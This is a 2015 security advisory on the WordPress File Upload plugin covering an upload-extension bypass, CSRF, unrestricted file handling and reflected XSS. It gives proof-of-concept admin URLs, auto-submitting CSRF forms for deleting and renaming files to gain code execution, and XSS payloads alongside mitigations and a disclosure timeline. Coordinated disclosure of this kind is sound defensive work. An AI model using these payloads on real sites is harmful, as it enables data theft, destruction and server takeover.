- Vulnerability: Code Execution, CSRF, XSS, Information Disclosure
- Affected Software: WordPress File Upload (WordPress Plugin)
- Affected Version: 2.7.6 (probably also prior versions)
- Patched Version: 3.0.0
- Risk: High
- Vendor Contacted: 2015-06-30
- Vendor Fix: 2015-07-02
- Public Disclosure: 2015-07-02
PHP File Upload
Risk
High; Code Execution; no credentials required
Description
The upload of files with the extension php is not allowed. But an attacker can still upload files with the extension php4, php5, or pht which will also be executed, or with extensions htm or html which would lead to XSS, or with extensions php3 or phtml, which would lead to information disclosure, or a file called .htaccess, which would lead to code execution if AllowOverride All is set.
Code
// wfu_processfiles.php:234
if ( strtolower(substr($only_filename, -4)) != ".php" && strtolower(substr($only_filename, -3)) != ".js" )
foreach ($allowed_patterns as $allowed_pattern) {
if ( wfu_upload_plugin_wildcard_match( $allowed_pattern, $only_filename) ) {
$allowed_file_ok = true;
break ;
}
}
Mitigation
Do not allow upload of these extensions, or create a whitelist of allowed extensions.
CSRF
Description
Some requests do not have CSRF protection, for example renaming or deleting files. For more information, see next section.
Mitigation
Use CSRF protection for delete/rename
Insecure File Handling
All of the file/directory handling functions are not restricted to the upload directory, nor to the original extension of the file.
Risk
Medium; Any files the webserver user has access to can be downloaded, deleted, or renamed; This leads to Code Execution, DOS, and Information Disclosure (database credentials, etc). Admin credentials or CSRF is required.
List Directories
List directory /etc:
http://localhost/wordpress/wp-admin/options-general.php?page=wordpress_file_upload&action=file_browser&dir=2f6574632f
Delete Files
Delete file /secret:
http://localhost/wordpress/wp-admin/options-general.php?page=wordpress_file_upload&action=delete_file&file=2f736563726574
Or without confirmation (for CSRF):
<form enctype="multipart/form-data" id="myform" method="post" action="http://localhost/wordpress/wp-admin/options-general.php?page=wordpress_file_upload" >
<input type="hidden" name="action" value="deletefile">
<input type="hidden" name="dir" value="2f5b5b6e616d655d5d">
<input type="hidden" name="file" value="2f7365637265745b5b6e616d655d5d">
<input type="hidden" name="submit" value="Delete">
</form>
<script>document.createElement('form').submit.call(document.getElementById('myform'));</script>
Download Files
List desired directory and download file.
This works for any file the web user has access to, it is not restricted to the wordpress installation, and it does not conform to the DISALLOW_FILE_EDIT setting, which is intended to disallow read and edit of PHP files.
Rename Files
Rename /var/www/wordpress/wp-content/img.png to /var/www/wordpress/wp-content/index.php
<form enctype="multipart/form-data" method="post" action="http://localhost/wordpress/wp-admin/options-general.php?page=wordpress_file_upload">
<input type="hidden" name="action" value="renamefile">
<input type="hidden" name="dir" value="2f7661722f7777772f776f726470726573732f77702d636f6e74656e745b5b6e616d655d5d">
<input type="hidden" name="file" value="2f7661722f7777772f776f726470726573732f77702d636f6e74656e742f696d672e706e675b5b6e616d655d5d">
<input name="wfu_newname" type="hidden" value="index.php" />
<input type="submit" class="button-primary" name="submit" value="Rename">
</p>
</form>
Exploitation
With admin credentials:
- download wp-config.php -> access to database
- download any file on server the webuser has access to -> possibly escalate privileges
see without credentials Without credentials (no CSRF protection):
delete important files (via CSRF) -> DOS
upload valid image file, use rename (via CSRF) to change it to .php -> code execution
Mitigation
- The rename functionality should restrict renames to the same directory and the same extension, inside the upload directory
- The delete/list/download functionalities should restrict these actions to the upload directory
- (the upload directory setting should be restricted as well, to avoid information disclosure and DOS by someone gaining admin credentials and then changing that directory)
Multiple Reflected XSS
Risk
Medium; Arbitrary JavaScript execution; combined with above vulnerabilities, this can lead to code execution
POC
http://localhost/wordpress/wp-admin/options-general.php?page=wordpress_file_upload&action=rename_file&file=2f7661722f7777772f776f726470726573732f77702d636f6e74656e742f696e6465782e7068703c7363726970743e616c6572742831293c2f7363726970743e5b5b6e616d655d5d
http://localhost/wordpress/wp-admin/options-general.php?page=wordpress_file_upload&action=rename_dir&file=2f7661722f7777772f776f726470726573732f77702d636f6e74656e742f696e6465782e7068703c7363726970743e616c6572742831293c2f7363726970743e5b5b6e616d655d5d
The encoded string represents
/var/www/wordpress/wp-content/index.php<script>alert(1)</script>[[name]]
Further:
http://localhost/wordpress/wp-admin/options-general.php?page=wordpress_file_upload&action=delete_dir&file=2f696e6465782e7068703c696d67207372633d226e6f22206f6e6572726f723d22616c657274283129223e205b5b6e616d655d5d
http://localhost/wordpress/wp-admin/options-general.php?page=wordpress_file_upload&action=delete_file&file=2f696e6465782e7068703c696d67207372633d226e6f22206f6e6572726f723d22616c657274283129223e205b5b6e616d655d5d
http://localhost/wordpress/wp-admin/options-general.php?page=wordpress_file_upload&action=create_dir&dir=2f696e6465782e7068703c696d67207372633d226e6f22206f6e6572726f723d22616c657274283129223e205b5b6e616d655d5d
The encoded string represents
/index.php<img src="no" onerror="alert(1)"> [[name]]
(an attacker can’t use a slash as it marks a directory)
Mitigation
Encode user input before echoing it.
Timeline
- 2015-06-30 Initial Report
- 2015-06-30 Vendor Confirmation
- 2015-07-01 Vendor Asking For Clarification
- 2015-07-01 Clarified + Reported Further Issues
- 2015-07-01 Vendor Send Fix for Confirmation
- 2015-07-02 Confirmed Fix
- 2015-07-02 Vendor Released Fix
- 2015-07-02 Disclosure